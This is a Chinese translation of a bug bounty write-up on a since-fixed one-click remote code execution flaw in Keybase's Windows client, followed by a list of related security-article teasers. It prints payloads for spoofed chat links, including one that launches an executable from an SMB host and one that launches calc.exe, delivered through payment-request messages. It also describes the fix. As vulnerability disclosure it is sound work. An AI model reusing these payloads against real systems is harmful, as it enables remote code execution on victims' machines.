Bug Bounty:Keybase一键式RCE

TL;DR

用户可以keybase客户端对话框中发送任意聊天链接。在Windows平台中,通过keybase客户端给受害者发送一个明显无害的链接,当单击该链接时,可以在受害者系统上执行任意命令。

keybase介绍

keybase类似于slack,是一个用来聊天、文件共享的软件,但它的安全防护明显更胜一筹。 Keybase上的一切都被加密了,让用户在云上同步私人文件的时候可以放一百个心。
由于它的安全特性和NCC Group的安全审计结果,我成为了一名忠实的Keybase用户。

恍然发现1.0——bug初显

在我的一次聊天中,我突然发现了一个奇怪的keybase反应。我向@Th3Zer0@Paupu_95发送了一个电子邮件地址,我用两个反引号括起来了这个地址,

`
`email@domain.tld`

但我发送出去的时候,文本转换成了这个丫子

`$>kb$eyJ0eXAiOjUsIm1haWx0byI6eyJkaXNwbGF5IjoiZW1haWxAZG9tYWluLnRsZCIsInVybCI6Im1haWx0bzplbWFpbEBkb21haW4udGxkIiwicHVueWNvZGUiOiIifX0=$<kb$

习惯使用base64编码的人可能已经注意到字符串的“ey”开头,这说明这里存在一个base64编码的JSON字符串:

{"typ":5,"mailto":{"display":"email@domain.tld","url":"mailto:email@domain.tld","punycode":""}}.

作为一名安全行业从业人员,这种发现立即挑拨了我们的心弦,接下来的对话就是各种反引号和各种URI,我们发现http URI也是以同样的方式被窃听的。

如果?

如果我们可以创建以下格式的链接,会发生神马?

{"typ":4,"link":{"display":"http://shielder.it","url":"http://evil.it","punycode":""}}

我尝试了很多方法,但都失败了。
通过keybase GUI client发送$>kb$<base64_string>$<kb$
通过keybase CLI client发送$>kb$<base64_string>$<kb$
通过keybase mobile client发送$>kb$<base64_string>$<kb$

恍然发现2.0——bug再探

粘贴了多次payload后,keybase客户端显示,由于消息太长,此消息发送失败,请取消发送或重新编辑。

$>kb$eyJ0eXAiOjQsImxpbmsiOnsiZGlzcGxheSI6Imh0dHA6Ly9zaGllbGRlci5pdCIsInVybCI6Imh0dHA6Ly9ldmlsLml0IiwicHVueWNvZGUiOiIifX0=$<kb$

字符串已经转化为http://shielder.it,点击URL会访问http://evil.it!!!!
在几秒钟的欣喜若狂之后,我意识到了令人不安的真相。


最妙的是,我还意识到,在windows客户端中,我可以通过将本地可执行文件的路径设置为url,或者将位于SMB服务器上的文件的路径设置为url来实现命令执行。

{“typ”:4,”link”:{“display”:”http://shielder.it”,”url”:”\\\\1.3.3.7\\tmp\\a.exe”,”punycode”:””}}

0.1337 XLM for RCE

payload在手,心不抖。我考虑keybase所有的功能,找到利用漏洞的绝佳位置。
这里就要用到了Lumens! Lumens是由Stella开发并完全集成在keybased客户端中的加密货币。用户可以轻松地发送/接收XLM,也可以在聊天中发送付款请求。
支付请求允许设置自定义消息,这就是漏洞利用的绝佳位置!

{“typ”:4,”link”:{“display”:”http://shielder.it”,”url”:”C:\\windows\\system32\\calc.exe”,”punycode”:””}}

shell

一键式RCE get!只要用户点击我的链接,我就可以在他们的系统上执行任意命令。

Bounty

与其他公司一样,keybase也有赏金计划,这是他们给我的回复


不幸的是有人在我之前报告了URL欺骗情况,但是这个人认为URL欺骗不能实现RCE。
然后我请求@maxtaco和@cjb与我分享keybase测试版,验证他们修复的版本是不是可以防止RCE。

具体修复措施

删除display字段
如果url”字段不是以http(s)://开头,自动加上http://

即使没有得到赏金,我也愿意与Keybase合作,他们在整个漏洞报告以及修复的过程表现的非常专业。

原文:https://www.shielder.it/blog/1-click-rce-on-keybase/

本文来源于: https://xz.aliyun.com/t/7796

相关推荐

XPATH注入学习

0x00、前言 转眼这学期上完就要找实习了,在网上找了一些面经来看,看到有问到xpath注入的情况。发现对自己xpath注入的了解仅局限于做了墨者学院的xpath注入靶场的常规注入,对xpath注入的权限绕过和盲注并不了解,以下为这次学习的

codeql学习——污点分析

本文主要内容有: 如何查找函数调用 如何查找属性使用 如何进行数据流分析 寻找fastjson jndi反序列化链 Workshop 学习 这部分是学习这个codeql的workshop的笔记。Struts 有个漏洞 CVE-2017-98

实战渗透-看我如何拿下自己学校的大屏幕(Bypass)

从1月份入坑到现在,已经5个月了。这五个月来一直在刷edusrc,并且在本月初成功达到了总榜第五名。很多人问我如何快速批量刷站?那么,他来了。本次分享一次对自己学校的一次安全检测实战文章。帮助萌新理清思路,同时,欢迎各位大佬指点不足。 0x

thinkphp 5.1框架流程分析与RCE

环境 phpstudy+thinkphp5.1.20 由于thinkphp5.1以上的版本不再支持官网下载源码,需要使用composer下载,比如说下载5.1.20版本 composer create-project --prefer-di

CVE-2016-4437:Apache Shiro RememberMe UnSerialized RCE分析

影响范围 Apache Shiro <=1.2.4(由于密钥泄露的问题, 部分高于1.2.4版本的Shiro也会受到影响) 漏洞类型 反序列化导致RCE 漏洞概述 Apache Shiro 是ASF旗下的一款开源软件,它提供了一个强大而灵活

qdPM <9.1 远程代码执行漏洞分析(CVE-2020-7246)

qdPM \<9.1 远程代码执行漏洞分析(CVE-2020-7246) 0x00 背景知识 htaccess文件 .htaccess文件是Apache服务器中的一个配置文件,负责相关目录下的网页配置。通过htaccess文件,可以实现网页

phpmyadmin<4.8.3 XSS挖掘

前言 最近在审计phpmyadmin的时候发现了一个XSS漏洞,后来发现在版本大于4.8.3以后该漏洞被修复了。看了下之前公布的CVE,有个CVE和此漏洞很相似但没有漏洞细节,于是乎便有了这篇文章。 准备 需要的环境 phpmyadmin

Intigriti的2020年5月XSS挑战

分析题目 在访问Challenge.intigriti.io 时,显示以下页面 引起我的注意:我看到的第一件事是黑体字,指出XSS仅在Firefox(恰好是我的主要浏览器)中工作。考虑到这一点,我按了CTRL + U来查看页面的静态HTML

都0202年了老嗨还在用的 - 各种姿势jsp webshell

最近,我的朋友“老嗨”,他参加了一个某云举办的号称可能史上最强的使用了AI技术的Webshell检测系统挑战赛...因为我没什么时间去搞这个,所以,我把我珍藏多年,姿势比较多的JSP Webshell发给了老嗨,老嗨跟我说,全部bypass

WordPress Page Buider插件 CSRF to XSS漏洞分析

前言 Page Builder by SiteOrigin是一个安装量超过100W的WordPress页面生成器插件,该插件可帮助用户使用基于小工具的页面生成器轻松构建响应式页面内容 近日wordfence安全人员披露了一个Page Bui

Spring Boot漏洞复现

复现一下Sprint Boot的一些漏洞 环境搭建 Dump环境 Mvn构建项目 启动项目 端点信息 路径 描述 /autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 /beans 描述应用程序上下文里全部